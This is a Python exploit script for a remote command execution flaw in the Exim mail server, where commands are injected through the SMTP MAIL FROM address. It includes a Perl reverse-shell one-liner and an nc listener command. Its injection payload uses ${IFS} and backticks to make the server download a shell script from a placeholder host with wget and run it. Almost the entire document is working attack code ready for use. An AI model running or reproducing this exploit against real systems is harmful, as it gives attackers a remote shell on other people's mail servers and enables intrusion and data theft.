Exim - 'sender_address' Remote Code Execution

#!/usr/bin/env python

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##      Exim sender_address Parameter - Remote Command Execution Exploit        ##
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## Vulnerability found by RedTeam Pentesting GmbH                               ##
## https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/              ##
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## Exploit written by eKKiM                                                     ##
## http://rdtx.eu/exim-with-dovecot-lda-rce-exploit/                            ##
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## Edit the PERL REVERSE SHELL MY_CONNECTBACK_IP and MY_CONNECTBACK_PORT and   ##
## upload this perl reverse shell script to a webserver.                        ##
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## Edit the PERL_SHELL variable to your own connectback script URL              ##
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## Start a listener: nc -vvn -l -p CONNECT_BACK_PORT                            ##
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## Let the exploitin begin                                                      ##
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####### PERL REVERSE SHELL #######
## use Socket;$i="MY_CONNECTBACK_IP";$p=MY_CONNECTBACK_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
####### PERL REVERSE SHELL #######


import socket
import sys

####### URL TO YOUR CONNECTBACK SHELL #######
PERL_SHELL = "myhost.com/shell.pl"
####### URL TO YOUR CONNECTBACK SHELL #######

if len(sys.argv) != 2:
	print "Usage: exim_exploit.py <target_ip> <optional_rcpt_address>"
	print " <target_ip> target you want to test"
	print " <optional_rcpt_address> an address which is accepted by exim (default: postmaster@localhost)"
	exit(1)

RCPT_TO = "postmaster@localhost" 
HOST = sys.argv[1]
PORT = 25

def read_line(s):
    ret = ''

    while True:
        c = s.recv(1)

        if c == '\n' or c == '':
            break
        else:
            ret += c

    return ret


if len(sys.argv) == 3:
	RCPT_TO = sys.argv[2]
	
print "Exim sender_address Parameter - Remote Command Execution Exploit"
print "Bug discovered by RedTeam Pentesting GmbH"
print "Exploit created by eKKiM"
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = read_line(s);
if not(data.startswith("220")):
	print "[ERROR] Is it SMTP Server?"
	exit(1)
	
s.send("EHLO domain.local\n")
s.recv(4096)

s.send("MAIL FROM: x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}" + PERL_SHELL + "``perl${IFS}/tmp/p.pl`@blaat.com\n")

data = read_line(s);
if not(data.startswith("250")):
	print "[ERROR] MAIL FROM not accepted"
	exit(1)

s.send("RCPT TO: " + RCPT_TO + "\n")
data = read_line(s);
if not(data.startswith("250")):
	print "[ERROR] RCPT_TO not accepted"
	exit(1)

s.send("DATA\n")
data = read_line(s);
if not(data.startswith("354")):
	print "[ERROR] Cannot send email content"
	exit(1)
	
s.send("x\n.\n")
data = read_line(s);
if not(data.startswith("250")):
	print "[ERROR] email content revoked"
	exit(1)
	
print "[OK] Recieved shell?"

s.close()